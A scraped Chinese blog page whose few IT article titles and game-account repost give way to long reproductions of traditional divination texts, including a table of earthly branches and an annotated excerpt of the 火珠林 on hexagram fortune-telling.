Virtual PC 2004——构建虚拟测试、开发环境
用微软解决方案进行有效的安全更新管理
活动目录灾难恢复
Cluster 技术实现关键技术应用
威胁和威胁建模
Windows 2003 新特性展示
Windows 2003 域的重命名

- 作者: LasOn 2008年01月10日, 星期四 13:49  回复(0) |  引用(1) 加入博采

《唯舞独尊》就要开测了,你还没有帐号吗?来这里领取吧
《唯舞独尊》就要开测了,你还没有帐号吗?来这里领取吧:
http://bbs.sa20.com/viewthread.php?tid=672337
本文来自: 天使在线游戏社区 http://bbs.sa20.com 更多精彩等着您! 转载请保留此行

- 作者: LasOn 2007年11月2日, 星期五 15:51  回复(1) |  引用(1) 加入博采

地支篇

五行:属水

性别:属阴

方位:北方

月令:十一月

节气:大雪为子月节;冬至为子月气。

藏干:癸

生:子生甲乙寅卯;庚辛申酉生子。

克:子克丙丁己午;戊己辰戌丑未克子。

合:子丑相合

刑:子卯相刑

冲:子午相冲

害:子未相害

三合:申子辰合成水局

方合:亥子丑合为北方

例:

子生 甲申 生子,与子三合成水局

子克 丙子 十一月,大雪至小寒,阴水,藏癸

子克 丁丑 克子,合子,又会北方

子克 丁未 克子,害子

五行:属土

性别:属阴

方位:中央

月令:十二月

节气:小寒为丑月节;大寒为丑月气。

藏干:己癸辛

生:丑生庚辛申酉;丙丁己午生丑。

克:丑克壬癸亥子;甲乙寅卯克丑。

合:子丑相合

刑:酉戌相刑

冲:丑未相冲‘

害:丑午相害

三合:乙酉丑合成金局

方合:亥子丑合为北方

例:

丑克 癸酉 与丑三合成金局,丑生

克丑 乙丑 阴土,十二月,小寒至立春,藏己辛癸

生丑 丙子 丑克,合丑

克丑 甲午 生丑,害丑

五行:属木

性别:属阳

方位:东方

月令:正月

节气:立春为寅月节,雨水为寅月气。

藏干:甲丙戊

生:寅生丙丁巳午,壬癸亥子生寅。

克:寅克戊己辰戌丑未,庚辛申酉克寅。

合:寅亥相合

刑:寅巳相刑

冲:寅申相冲

害:寅巳相害

三合:寅午戌合成火局

方合:寅卯辰合为东方

例:

比寅 乙巳 寅生,害寅,刑寅

寅克 戊寅 正月,立春至惊蛰阳木,藏甲内戊

克寅 庚申 克寅,冲寅

寅生 丁亥 生寅,合寅

五行:属木

性别:属阴

方位:东方

月令:二月

节气:惊蛰为卯月节;春分为卯月气。

藏干:乙

生:卯生丙丁己午;壬癸亥子生卯。

克:卯克戊己辰戌丑未;庚辛申酉克卯

合:卯戌相合

刑:子卯相刑

冲:卯酉相冲

害:卯辰相害

三合:亥卯未合成木局

方合:寅卯辰合为东方

例:

卯生 丙子 生卯,刑卯

克卯 辛卯 二月,惊蛰至清明,阴木,藏乙

生卯 壬辰 与卯合为东方,害卯,卯克

卯克 己酉 克卯,卯冲

五行:属土

性别:属阳

方位:中央

月令:三月

节气:清明为辰月节,谷雨为辰月气。

藏干:戊乙癸

生:辰生庚辛申酉;丙丁已午生辰。

克:辰克壬癸亥子;甲子寅卯克辰。

合:辰酉相合

刑:二辰自刑

冲:辰戌相冲

害:卯辰相害

三合:申子辰合成水局

方合:寅卯辰合为东方

例:

生辰 丁酉 辰生,合辰

克辰 申辰 三月,清明至立夏,阳土,藏戊乙癸

辰克 壬戌 比辰,冲辰

五行:属火

性别:属阳

方位:南方

月令:四月

节气:立夏为巳月节;小满为巳月气。

藏干:丙戊庚

生:巳生戊己辰戌丑未;甲乙寅卯生巳。

克:巳克庚辛申酉;壬癸亥子克巳。

合:巳申相合

刑:寅己相刑巳申相刑

冲:已亥相冲

害:寅巳相害

三合:巳酉丑合成金局

方合:己午未合为南方

例:

巳生 戊寅 生巳 刑巳,害巳,

比巳 丁己 四月,立夏至芒种,阳火,藏丙戊庚

克巳 壬申 巳克,合巳

巳克 辛亥 克巳,冲巳

五行:属火

性别:属阴

方位:南方

月令:五月

节气:芒种为五月节夏至为五月气

藏干:丁己

生:午生戊己辰戌丑未;甲乙寅卯生午

克:午克庚辛申酉;壬癸亥子克午

合:午未相合

刑:二午自刑

冲:子午相冲

害:丑午相害

三合:寅午戌合成火局

方合:巳午未合为南方

例:

午克 辛丑 午生,害午

生午 甲午 五月,芒种至小暑,阴火,藏丁己

克午 壬子 克午,冲午

比午 丁未 午生,合午,与午合为南方

五行:属土

性别:属阴

方位:中央

月令:六月

节气:小暑为未月节;大暑为未月气。

藏干:己丁乙

生:未生庚辛申酉;丙丁已午生未。

克:未克壬癸亥子;甲乙寅卯克未。

合:午未相合

刑:戌未相刑

冲:丑未相冲

害:子未相害

三合:亥卯未合成木局

方合:巳午未合为南方

例:

生未 丙戌 比未,刑未

克未 乙未 六月,小暑至产秋,阴土,藏乙丁己

未生 辛丑 比未,冲未

比未 戊子 未克,害未

五行:属金

性别:属阳

方位:西方

月令:七月

节气:立秋为申月节,处暑为申月气。

藏干:戊庚壬

生:申生壬癸亥子;戊己辰戌丑未生申。

克:申克甲乙寅卯;丙丁己午克申。

合:巳申相合

刑:巳申相刑

冲:寅申相冲

害:申亥相害

三合:申子辰合成水局

方合:申酉戌合为西方

例:

申克 乙亥 申生,害申

申克 甲申 七月,立秋至白露,阳金,藏戊庚壬

生申 己巳 克申,合申,刑申

克申 丙寅 申克,冲申

五行:属金

性别:属阴

方位:西方

月令:八月

节气:白露为酉月节;秋分为酉月气。

藏干:辛

生:酉生壬癸亥子;戊己辰戌丑未生酉。

克:酉克甲乙寅卯;丙巳午克酉。

合:辰酉相合

刑:二酉自刑

冲:卯酉相冲

害:酉戌相害

三合:巳酉丑合成金局

方合:申酉戌合为西方

例:

克酉 丙辰 生酉,合酉

克酉 丁酉 八月,白露至寒露,阴金,藏辛。

酉生 癸卯 酉克,冲酉

酉生 壬戌 生酉,害酉,与酉合为西方

五行:属土

性别:属阳

方位:中央

月令:九月

节气:寒露戌月节,霜降为戌月气。

藏干:戊辛丁

生:戌生庚辛申酉;丙丁巳午生戌。

克:戌克壬癸亥子;甲乙寅卯克戌。

合:卯戌相合

刑:丑刑戌戌刑未

冲:辰戌相冲

害:酉戌相害

三合:寅午戌合成火局

方合:申酉戌合为西方

例:

戌克 癸卯 克戌,合戌

戌克 壬戌 九月,寒露至立冬,阳土,藏戊辛丁

生戌 丙辰 比戌,冲戌

生戌 丁酉 戌生,害戌,与戌合为西方

五行:属水

性别:属阳

方位:北方

月令:十月

节气:立冬为亥月节,小雪为亥月气。

藏干:壬甲

生:亥生甲乙寅卯;庚辛申酉生亥。

克:亥克丙丁巳午;戊己辰戌丑未克亥。

合:寅亥相合

刑:二亥自刑

冲:已亥相冲

害:申亥相害

三合:亥卯未合成木局

方合:亥子丑合为北方

例:

克亥 戊寅 亥生,合亥

比亥 癸亥 十月,立冬至大雪,阳水,藏壬甲

亥克 丙申 生亥,害亥

比亥 癸巳 亥克,冲亥

- 作者: LasOn 2007年10月16日, 星期二 20:52  回复(0) |  引用(1) 加入博采

六亲分属例(神鉴经)
六亲之属, 各有取义。
  1. 因彼而有我者, 父母也。故父母之属, 多与其爻之干支同类。  1.1. 如父得甲寅爻, 母得乙卯爻, 若不犯刑破空克, 则父必属虎, 母必属兔。
  1.2. 若犯四直刑破空克, 然后以三合六合推其所属, 如父母爻得甲寅, 则甲与己合,己年生。三合在午戌, 当属犬马, 六合在亥, 当属猪是也。  2. 因我而有彼者, 子孙也。故子孙之属, 以纳音取之。
  2.1. 如子孙临甲子、乙丑爻, 其纳音属金, 必申酉年生, 乃属猴与鸡也。又须看大限、小限、游年太岁正值子孙位, 或在生和子孙之位, 更得太岁、贵、马、德、喜, 聚于子孙爻上, 又不犯刑破空克, 则得子孙之正属, 方可决其生此金命之子。
  2.2. 若子爻自刑, 辰午亥酉, 又被四直刑害克破者, 往往于合处。
  如子孙爻纳音得水, 则六合在丑寅, 属牛属虎, 寅合亥, 子丑合也。
  三合在申辰卯未, 属猴龙属兔羊, 申子辰三合, 亥卯未三合也。
  2.3. 又凡四直干支, 与子孙爻相生合者, 必天性和顺, 聪明起家之子。
  若四直干支, 刑害克破子孙爻, 与子孙爻刑害克破四直者, 俱主天性忤逆, 自生此子之后, 家道式微, 父子失恩, 难相保守。
  2.4. 又凡子孙值阴爻, 尤忌自刑, 亥酉是也。不问衰旺, 皆于子孙不利。
  3. 妻妾因我而有者, 为性体相异之伦, 吉凶之极, 各归正属。
  3.1. 如雷火丰卦, 本宫内卦戊午妻财为匿刑, 伏三爻己亥兄弟下, 若带凶杀来克庚申世爻, 其妻必属马。
  3.2. 又如地山谦卦, 癸亥爻持世, 本宫内卦丁卯财, 伏二爻丙午宫下, 来生合世。若带贵、马、德、禄, 其妻必属兔。
  3.3. 又如雷风恒卦, 世持辛酉金, 鬼伏下庚辰主财, 俱为匿刑, 应爻庚戌妻财为正财,来害酉世, 主其人别有宠妾嬖婢, 淫纵无礼, 为妻所嗔也。
  3.4. 凡妻财之爻, 有德合贵马会聚, 主财货丰盈, 德色殊美。若值空亡刑破无气者,必刑破无气者, 必贫苦乖离, 更带凶杀来刑害身世者, 终有阴谋之害, 或祸起妻妾, 累及其身也。4. 兄弟为同类之亲, 奇为兄弟, 耦为姊妹。
  4.1. 兄与姊生在己身之前, 其属与父母同论。 若其爻不犯四直刑破空克, 带贵、马、德、合者, 则兄姊之属, 与爻同体。若犯刑破空克, 则属一六合也。
  4.2. 弟与妹生在己身之后, 其属与子孙同论, 亦以纳音取之, 以小限大限与流年太岁到生合兄弟之位, 或临兄弟之位, 生弟与妹也。奇生弟, 耦生妹, 以兄弟长生之月断其生期, 此惟游年太岁干支, 与兄弟爻三六合, 再得岁中贵马德禄相聚, 不犯刑破空克, 故得纳音之正属也。如兄弟爻自刑, 更犯岁月日时空破, 必归纳音之三六合也。
  5. 大都身命卦中, 贵马德合, 最喜聚于子孙鬼妾官鬼, 三爻上主荣贵己身, 庆流后裔。若父母兄弟爻贵煞临之, 主富贵在其父母兄弟, 己不过受其恩荫, 福亦甚少矣。

- 作者: LasOn 2007年09月22日, 星期六 10:37  回复(0) |  引用(1) 加入博采

火珠林
题麻衣道者著
   《火珠林》是火珠林卦法的代表作。有两种本子,一是明《永乐大典》引用的本子只存一些片段。一个是清刊印的本子。本书收录的是清印本。《火珠林》成书年代当在唐末宋初。麻衣道者是唐末宋初人,相传为陈抟的老师,善相术,为中国历史上术数名人。《火珠林》是否就出于麻衣道者之手,尚不能定论。
   《火珠林》提出了“卦定根源,六亲为主”,主张用五行生克刑害,合墓旺空等进行断卦,继承了京房易的理论,又为后来卜筮的传播打下了坚实的基础。后人称这种筮法为“火珠林”法,原因就在于此。
   按:本处网页内容收录自郭志城、李郅高、刘英杰编著之《中国术数概观.卜筮卷》(中国书籍出版社),在此向他们致谢。
   提示:喜欢算卦的朋友往往被现代人写的卦书弄得云里雾里,盲目去崇拜某些大师,追求大师发明的什么“真传秘诀”,不知不觉间被引入了学卦的误区。其实,在数术的学问上,今人绝对没有古人聪明,易则易知,简则易从,真正的推卦法则应是简单的、容易领悟的,它们就写在古人的书里,因为人们的好高骛远,以致根基浮浅,忽略了大量简单实用的占断原理。熟读《火珠林》,就会豁然开朗,有所收获。
1.易中明义
四营成易,八卦为体;
三才变化,六爻为义。
   注云:书有三而异用,卦皆八以为经。一曰《连山》,二曰《归藏》,三曰《周易》。自秦焚书坑儒,《连山》、《归藏》不传于世矣。又云:一曰治天下,二曰论长生,三曰卜吉凶。夫三才者,天干为上,能占九天之外,日月星辰,风雷云雨明晴之事;地支为中,能占九地之上,山川草木,人伦吉凶,否泰存亡之事;纳四象,四象生八卦,所谓四营成易也。
   又问:纳音为下,能占九泉、六道、四生、虚无等事?答曰:六十甲子生成,变化而行鬼神,是故天干管天文,地支管人事,纳音管地理。如乾卦初爻甲子动,占天文主风;占人事主子孙,六畜、花木、酒馔、忧喜等事;占地理,六穴中有石之类。如占葬地,得姤之鼎卦,掘地五尺土中有石,其色大赤,离穴四十步,西南近柳树,当有伏尸,葬出刀伤之人,并主火灾。问曰:如何断之?答曰:世持辛丑,土伏甲子金,世下伏金,是土中有石也。巽下伏乾,是乾为大赤也,第五爻壬申化己未火,火克本宫为鬼,是伏尸鬼,申化未是西南方也。掘下五尺见石者,土类五也。离穴四十步有伏尸者,壬申金,重数四,加丑未土类五,二五成十,并申金四是四十步也。出刀伤人者,壬申乃剑锋金也;主火灾者,已未化火,未克辛丑世也。树旁者,己未火鬼,与壬午木合住,壬午乃杨柳木也。
又请占祟例为式,签曰:如遁之姤卦,此卦是子孙鬼,一男一女为钗钏等事物来沉滞,男儿赤,性燥,女儿洁白,性刚;其坟墓现在西北,恐有动犯,告之则吉。问曰:何以知之?曰:二爻丙午火是鬼,化辛亥水是子孙,丙午纳音属水,化辛亥又属水,如二乾宫子孙,故曰子孙鬼也;一男丙午,一女辛亥也;火主赤,金主白,火燥金刚,皆以五行之性言之也;为钗钏者,辛亥乃钗钏金也;言坟墓在西北者,水墓在戌,又火绝在亥,亥,西北也;墓有犯者,艮属土,化巽为木,木去克土山。
2.六亲根源
卦定根源,六亲为主;
又究旁通,五行而取。
   注云:根源者,八卦之宫主也。而原有六亲旁通者,六爻之飞象也,而上下相乘。五行者,金水木火土也。而定四时六亲者,主宫也。六爻,父、子、兄弟、妻财、官鬼,定一宫管八卦,七卦皆从一宫出。旁通者,上下宫飞象六五也。盖本宫在下为伏之六亲,旁宫在上为飞之六亲,如六壬课有天盘、地盘。先看六亲之下,后看六亲之上,所乘得何爻,而辨吉凶存亡也。
   或问:六亲为主,父母、兄弟、妻财、子孙、官鬼,只有五件,而曰六亲何也?答曰:卦身当一亲。问曰:如何为卦身?曰:阳世则从子月起,阴世还当午月生,此即卦身也。而《元龟》以月卦言之,所以吉凶不应。问:卦身亦主甚吉凶?曰:如本卦世空,却去看身,岂为无用?
   又问:何谓旁通?曰:本宫之六亲在飞象之下,为之亲王,为之伏神。旁宫之飞象加伏神之上,为飞象,亲爻世下之爻为伏。知飞伏二爻之来历,然后可与言八卦、六亲矣。
  注:《元龟》指《卜筮元龟》,宋代著名卜筮用书。
3.财官辅助
财官异路,可辨五乡;
用有辅助,类可忖量。
   注云:财者,妻财;官者,官鬼。是故至柔者财,至刚者鬼。而有辅体,辅体者,用官鬼以父母辅之,用妻财以子孙辅之;值旺相为有气,休囚为无气,得生扶为吉,克破为凶。
   春,寅卯木旺,巳午火相,亥子水休,申酉金囚,辰戌丑未土死。
   夏,巳午火旺,辰戌丑未土相,寅卯木休,亥子水囚,申酉金死。
   秋,申酉金旺,亥子水相,辰戌丑未土休,巳午火囚,寅卯木死。
冬,亥子水旺,寅卯木相,申酉金休,辰戌丑未土囚,巳午火死。
4.独发乱动
独发易取,乱动难寻;
先看世应,后审浅深。
   注云:乱动之法,思之最难。一看世上旁爻生财旺相,忌应爻克世;二看世下亲爻财官喜静;三看何爻最旺为用神,如发动,动要生世;四看独发之爻,旺相最急,休囚事慢。
   官用,官鬼为主。伏旺动生世者出现发动,看变得何爻。父母为辅,喜生现发动者。
   私用,妻财为主。伏旺动生世者,忌伏鬼下,并出现发动。子孙为辅,喜旺相发动者。
  凡财官乘旺相,俱动,公私两用皆可成。
   或问:世上旁爻生财旺相,下面注云忌应动克世,不知克世上何爻?又问:忽有乱动卦,世上与财官持世,如何断?答曰:岂不见又言二看世下亲爻,财官喜静,盖旁爻无财,官便去搜寻伏神之财官。
   又问:既言世上财官是伏藏者,本静,何故言喜静?曰:汝看误矣!世下亲爻本静,或有冲克,即非静,故曰喜静,盖不欲乱动之爻去冲克之也。
   又问:三看何爻最旺为用神,而注云发动要生世,何为用神?何为发动?曰:乱动之卦只取旺爻,旺爻即用神也。生克吉凶皆在此爻。若伏藏安静要旺相,若发动,却要生世之爻为用神,又不专泥旺相爻也。
   又问:何谓伏旺生世者?曰:用此已发明,人自不察耳。伏爻要旺相、动爻要生世、官用取官、私用取私,如上篇却要辅助之爻发动,时人并作一句读之,所以失其义也。
5.世应相克
旁爻持世,旺相得地;
应与动爻,不克方是。
  占财,子孙旺相,妻财持世;
  占官,父母旺相,官鬼持世。
   以上皆可许,忌应爻、动爻克之。世爻乃我家情由,应爻为彼之事理。
   或问:应与动爻不克方是,竞不知克什爻?答曰:汝道不知克什爻?不克辅爻耳。
   又问:忌动爻应艾墓克之如何?曰:占财要财爻持世,占官要官爻持世,若应又是世之墓,动又是世之墓,皆不中矣。墓是自墓,克是自克。
6.公私用事
阴阳男女,次策推排;
官用取官,私用取财。
   占病鬼祟,占失看贼,占求官事,占官词讼,占婚问夫,以上皆看官爻。占买卖财,占家事,占婚婢事,占求财事,占婚姻事,以上皆看财爻。
   或问:言公私用事,只言财官,而不及父子兄弟,何也?答曰:天下之事,散而言之,纷若物色;总而言之,不出财官二字。占官必用父母,占财必用子孙。兄弟是破财之人,不为主、不为辅,何必看也?
   凡卜筮者,但用心于财官,则括天下之理,此法简而最捷,若分支劈脉、琐碎求之,则万物纷然,无以折衷,用心多,功力少《元龟》“六神”之类是也。故吾捷法,惟以财官伏五乡而定吉凶,自然神妙。
7.出现伏藏
出现旺相,为久为远;
伏藏有气,只利暂时。
   现为重迭,为再用,为两事,财官两事出现旺相,可宜久远,若持世忌动。伏藏旺相,更看日辰透出,或伏世下,可取,虽成只利暂时,不能久远也。
   或问:出现为重迭,为再用、为两事,何也?答曰:且如乾卦为主,后七卦皆从乾坤中来,其出现财是伏藏中而又出现也,岂不是重迭乎?故取占事为再用、为两事。
   又问:伏藏有气,只利暂时?答曰:本宫财官伏世下,方可取,不伏世下,则不取也。旁爻财官非也,必要细看,不可忽□。
8.占财伏鬼
财伏鬼乡,买卖遭伤;
日辰福德,方始荣昌。
   财爻伏官鬼之下,乃财爻泄鬼无气,须是子孙旺相,透出日辰,或持世上方有,盖子孙能克官鬼也。
   或问:兄弟能克财,官鬼不伤财,官鬼克兄弟,何故买卖遭伤?答曰:不晓其理,则断卦不灵。财伏鬼乡,财则去生官,财又泄气,况用财以子孙为辅,官鬼生你,父去克子,财爻内外受伤,故买卖不能获利,反能伤财。若日辰是子孙,子能生财,克去官鬼;日辰是财,财能克父,使得出现,亦有财也。
9.占财伏兄
用财伏兄,口舌相侵;
若在世下,旺相可成。
   财伏兄弟之下,本无气无财,却喜财爻旺相,贴世下透出,值日辰方有。
   或问:用财伏兄,口舌相侵矣,缘何在世下又旺相可成?答曰:财伏在兄弟爻下,是财被他人把住,故生口舌。若伏世下,世持兄弟,我去克财,财又旺相,岂得不成乎?
10.财伏父子
财伏父母,旺相得半;
财伏子孙,有气必满。
   财爻旺相,伏父母爻下,求财有一半。财伏子孙之下,世应不克,终是有财。若子孙旺相,父母爻持世应,亦不能克子孙,求财亦有。
   或问:财伏父母旺相得半,不审何故?答曰:用财须子能辅财,财伏父下,则子不能生财矣。只有本等财,故曰一半。
   又问:财伏子孙、世应不克,久必有财,是不克何爻?曰:不克子孙爻也。故下云,若子孙旺相,纵父母持世应,亦不能克子孙,求财亦有也。
11.占鬼伏兄
用鬼伏兄,同类欺凌;
若不虚诈,人不一心。
   官鬼伏兄之下,为同类欺凌、不忠。若官鬼旺相,喜持也,透出日辰吉。
   或问:用鬼伏兄?答曰:兄为虚诈,为口舌,又与同类为劫财。占官事而鬼伏兄,主同类欺凌,官府多诈、吏贴赚钱,所谋之事,到底脱空。若旁多官鬼旺相,持世、日辰是官鬼,方可用,盖官鬼能克兄也。
12.占鬼伏财
鬼伏财乡,因财有伤;
官吏阻节,独发乖张。
   鬼伏财下,因财不吉,官吏阻节,须是官鬼旺相,伏世下,或与父爻俱透出,直日辰方许,又忌独发。
   或问:财能生官,何故因财有伤?答曰:财固生官,但用官为主,必有辅之。父母为文书,官伏财下,财去克了文书,主官人要钱,文书有阻。
   若官爻伏财,是世下,或父母透出,直日辰,如此可用。若父母持世独发,则重迭艰辛,事不济矣。
13.官伏父母
鬼伏父母,举状经官;
若财世上,求之不难。
   鬼伏父下为官化文书,要贴世,或官鬼旺相,或文书直日,利经官下状及补名目之事。
   或问:鬼伏父母如何处用?答曰:鬼伏父母,若在世下,方利下状趱补名目事;若在他处,则亦艰辛矣,盖父母为重迭神也。
14.官伏子孙
鬼伏子孙,去路无门;
官乘旺相,透出可分。
   鬼伏子孙,只宜散忧,若用宫,须是官鬼旺相,透出直日辰方可。
  若子孙旺相,占看夫病即死。
   或问:官伏子孙去路无门?答曰:羝羊触藩,不能进退,若官爻旺相在世下,世上旁爻子孙无气落空,则不如此断。徜子孙旺相,官爻无气落空,亦不如此看,可断有人关节,或官吏阻滞而已。
15.官鬼伏官
官鬼伏官,小人作难;
若亲见贵,方许开颜。
   若官伏鬼下,乃关隔之象,又主小人作难,若得旺相相扶,亲见贵人可就。
   或问:鬼伏官下乃关隔之象,主小人作难,何也?答曰:亲爻官鬼是贵人也,旁爻官鬼是吏贴也,官人被吏贴遮蔽,不能出现,此所以小人作难也。
   又问:若亲见贵人,如何又得开颜?曰:凡用官伏官,皆被旁艾所隔,若用官伏官之卦,但世爻动化官鬼父母。故宜动身亲去见官,官则用爻之神,父则辅助之物,于官有益,不至相伤,所以开颜也。
16.出现重迭
出现重迭,还须旺相;
若乘土艾,更看勾现。
   世爻出现,乘父母官鬼,子孙妻财旺相可取,休囚不可取。若乘辰戌丑未,更看勾合何爻也。假令大有卦,甲辰父母持世,为杂气,能勾申子辰化水局,子孙不宜官用。
   问:更看勾象,如何看?答曰:如火天大有,能勾申子辰水局,伤官者,以甲辰土父墓持世也。若不乘土爻,便不看勾象矣。
   又如随卦,世持庚辰,能勾申子辰合水局,利干文书之事。
   若中孚卦,世持辛末官墓,不能勾亥卯未官局,以艮宫亲爻寅木是官,卯木非官也。
17.子孙独发
子孙独发,为退为散;
若乘旺相,亦可求财。
   子孙为伤官之神,发动利脱事,若乘旺相,亦可求财,出现更看变爻。子孙又为九流、中贵、福德、医药、蚕禽。乾和尚,震道士,兑尼姑,巽道姑,坎医药、,离小士,艮法术,坤师巫。
   或问:乾和尚等如何说?曰:乾为圆、为首、和尚圆顶象天也。
   又问:子为和尚?曰:子孙在乾宫,其类神,乃为和尚也,余以类推之。
18.兄弟独发
兄弟独发,为诈为虚;
若乘旺相,财破嗟吁。
   兄弟为劫财之神,大忌隐伏。动发主虚诈不实之事,凶不凶、吉不吉,若旺相,主口舌忧疑破财,如出现发动,更看变得何如,大怕化鬼爻,凶。
   或问:兄弟为劫财之神,大忌隐伏发动,何也?答曰:隐伏看兄弟伏在世爻下也,不伏世爻下,非为隐伏。动发者,兄弟独发也。
19.父母独发
父母独发,重迭艰辛;
若乘旺相,文书可成。
   父母为重迭之神,大忌出现发动。若趱补名缺,求书札、取契,得旺相动发可成;若坐休囚,不可凭准矣。
   或问:父母为重迭之神,何故为重迭?答曰:凡六亲只有一重,惟父母有两重,如祖父母、父母也,故父母发动,重迭艰辛。又问:如坐休囚,不可凭准?曰:父母发动,旺相尚自重迭艰辛,若休囚岂可凭乎?
附:动止章
   凡占官上马,看文书爻入墓绝日去,墓,藏也;绝,止也。占自身,或占父在外欲回家,看世又绝墓日动身。又看世持什爻,待日辰冲便归。如卦中化出爻来生合世爻,或去刑克冲害世爻,便是此事搭住,如财又是妇人类。
20.官鬼独发
官鬼独发,为欺为盗;
若临吉神,功名可望。
   官鬼为官史,若求名遇吉神,必主立身清高,若临囚神,必主兴讼,贼盗弄魅害人之事。
21.妻财独发
妻财独发,生鬼伤父;
问病难瘳,占亲无路。
   大抵财动克父,亦能生鬼;然财爻宜旺,不宜空;宜静、不宜动。惟占脱货,要财爻发动。如占婚姻,财动必克翁姑;占讼,主克文书,若财鬼俱动者,父有元神而翁姑不克,文书有成。
   以上专论五乡公私两用,为卜易者提纲捷诀也。
22.占身命
世爻为命,月卦为身;
得则富贵,失则贱贫。
   人之身命,冬至后占得阳卦阳爻为吉。假如正月占得二月卦为进,更加旺相禄马,有子有财,居于有德之位,诚为有福贵人,如冬至后占得阴卦阴爻不吉。正月占得十二月卦为退,兼以相刑相克、休囚又无财无子坐于不吉之爻,则为贫贱下命,俱以得时为吉,失时为凶也。
23.占形性
外卦为形,内卦为性;
若占其人,以用而定。
  以外卦为形貌,内卦为性情。
   乾在外,头大面圆,逢克则破相;在内,心宽量大。
  兑在外,则和悦多言;在内则心小胆大。
  离在外,文彩;在内聪明。
  震在外,身长有须;在内心暴不定。
   巽在外,身长有须;在内心毒而忍,安身不稳。
  坎在外,形黑活动;在内心险多智。
  艮在外,其头上尖下大;在内心志固执。
  坤在外,厚重;在内主静,逢凶则鲁钝。
   再以五行随卦之金木水火土通论:
   金为人洁白贞廉、骨细肉腻,声音响亮。为性不受激触,处事多能,好学,好酒,好歌唱,如带煞重乃武夫,或多武艺。
   木主人物修长,声音畅快、须发美、眉目秀,坐立身多攲侧,为事窒塞,无通变之谋。如死绝则人物瘦小,发黄眉结,柔语细声,不能自立人也。
   水为人背小团面,色或焦,行动摇摆。为性大宽小急,处事无定见,喜淫、好酒,少诚实。若带吉神贵福者,乃志量广大,包含宇宙之才也。
   火人面貌上尖下阔、印堂窄、鼻露窍、精神闪烁、语言急速。性躁、声焦,其色赤或青不定。坐须摇膝,立不移时,临事敏速,旺乃聪明文章之士。
   土人头圆、面方、背方、腹阔。为性持重,处事沉详,语言简默,动止不轻。如遇墓绝,乃块然一物,无智无谋无能之愚人也。
  论女人性形:
金财端正德贞洁,美貌团圆似明月,心性聪明针指高,肌肤一片阳春雪。
木财妖态胜仙娃,能梳云鬃似堆鸦,身体修长眉眼秀,金莲慢把翠台遮。
水性为人多变更,未有风来浪自生,若加玄武咸池并,巧似杨纪体态轻。
火财为人心性急,未有事时言便出,鬃发焦黄骨肉枯,夫妇和谐难两立。
土财不短亦不长,绝美人才面色黄,若逢吉曜生佳子,性慢言悭福寿昌。
24.占运限
大小二限,从初世起;
阳顺阴逆,六位周流。
   卦之大限,以阳世为顺,阴世为逆。阳顺则自世而上,阴逆则自世而下。每一爻管五年,周而复始。逢生令则吉,遇刑伤则凶。
  其小限一年一位周流而已。
   假如丁酉年七月甲午已巳时,占得大壮,自一岁在世上,至六岁与十岁在六五,至十一岁在上六,至十六在初九,二十一在九二,二十六在九三,甲辰比肩但二十七岁小限在上六,故曰大小二限并兄弟,必先伤妻而后破财,余仿此。
  又有以本体为初,互体为中,化体为末者。
   又有以本卦管三十年,每爻五年,以之卦管三十年,每爻五年,学者亦可参之。
25.占婚姻
喜合婚姻,世应宜静;
财官旺相,婚姻可成。
   世应有动便不成,男家娶妻看财爻,代占同。女家嫁夫用鬼爻。忌动出现,怕冲,若旺相可成,世应相克不久。世夫应妇。又看何人占之,占夫忌子孙发动,子孙持世不成,占妻忌兄弟发动,兄弟持世不成。间爻为媒,父母为三堂,子孙为嗣,宜静。卦无子孙不欢喜。
   或问:世应有动便不成何也?答曰:世动男家进退,应动女家不肯,世应有空亦然。
  问:忌二字动,忌何爻动也?曰:财官二字。
  何为三堂?父母、兄弟、子孙也。
   凡财爻与兄弟合,此妇不廉;五爻持鬼,此妇貌丑;财伏墓下,主生离死别;财伏鬼下,主妇人带疾,兄伏鬼亦然。财伏兄下,主妇人淫荡;鬼伏兄下,主男子赌博;身爻值鬼,主带暗疾,此又不传之妙。
   占妻看财爻,宜静;占夫看官爻,宜静。阳宫端正、阴宫丑陋,在飞上应头面四肢,在飞下应拙不稳。男占得震巽主再婚;女占得坎离主再嫁。妻在间爻,女有亲为主婚;夫在间爻、男有亲为主婚,但得时旺相,皆许成。出现忌日冲,世动,男不肯,应动,女生疑。用神如发动,成也见分离。间动有阻隔,或是媒人作鬼,如占女人妍丑。第五爻为面部,如财福旺相持之,绝色。父母次之,兄弟持之,貌丑陋不妍。上六爻为头发,如火坐之,主鬓发焦黄色。看大脚小脚,专看初爻,初爻是阳,主大脚,初爻是阴,主小脚,重化拆半扎脚。交化单先缠后放。
  附:占婢妾
   专以财爻为主象,财爻旺相便吉,若动出官来,主生病招讼,动出兄来,主口舌;若兄爻财爻合住,主有外情不良。如有爻象与财爻三刑六害,必主因此成讼;财化子性善;财化官带疾;财化兄主淫荡不良;财化父老成;财化子,性迟缓不管事。
   定妇人、女子,看财福二爻,生身世无冲克是女子,财福生官兄,或官兄旺动是妇人。
凡占雇取仆从亦用财爻为主象。财不可太过,又不可无财并空亡,若如此,慵懒不向前。子化财,为人纯善;鬼化财、带疾;兄化财不诚实,多说谎瞒骗人家;父化财,性重作事稳,财化兄,多淫荡难托财。又看身爻,身是鬼主有疾;身是父,主识字;身是兄,多说谎,身是子,主慈善。身是财最好。如化出鬼,主生病、招口舌;化出兄,主口舌不稳。
26.占孕产
孕看财爻,胎加龙喜;
旺相为男,休囚是女。
   产孕须寻龙喜胎神。白虎临于妻财旺相,为男;休囚女。
   乾兑坎离在下卦,主顺生;震巽艮坤在下卦,主逆产。盖乾首、兑口、坎耳、离目在下为顺,以震足、巽股、艮手、坤腹在下为逆也。
   假令乾宫子孙以水长生在申,到午为胎爻,三合寅午戌三日内生也。
   要知男女,胎爻属阳生男,胎爻属阴生女,坤卦六爻安静生男,此乃阴极动而生阳,又不可专泥也。
   凡占老娘看间爻,持财子老娘手段高,持父兄官手段低。占奶子,看财爻旺相有乳食,财爻地气或空,乳少。
27.占科举
科举功名,于求进职;
皆取官多,旺相必得。
   凡占赴试、谒贵、面君、参官、到部谋干事,看世上有无文书。若父母旺相,可许。但官爻旺相,便吉。忌子孙持世,不中。占赴任,子孙持世或独发,必不满任也。
   或问:看世上有无文书,何也?答曰:此专用官为主,用爻为辅,所以要父母在世上也。以文书为主,要文书持世无刑克太岁贴身,必作状元。
   凡占试,以鬼为主,看伏在何爻下,要日辰生扶合出。且如春占剥卦,官在文书爻下,有气,日辰合出,主试中试。求职请判,宜官鬼出现,忌动发,在任宜鬼静,鬼发有动,子动有替。
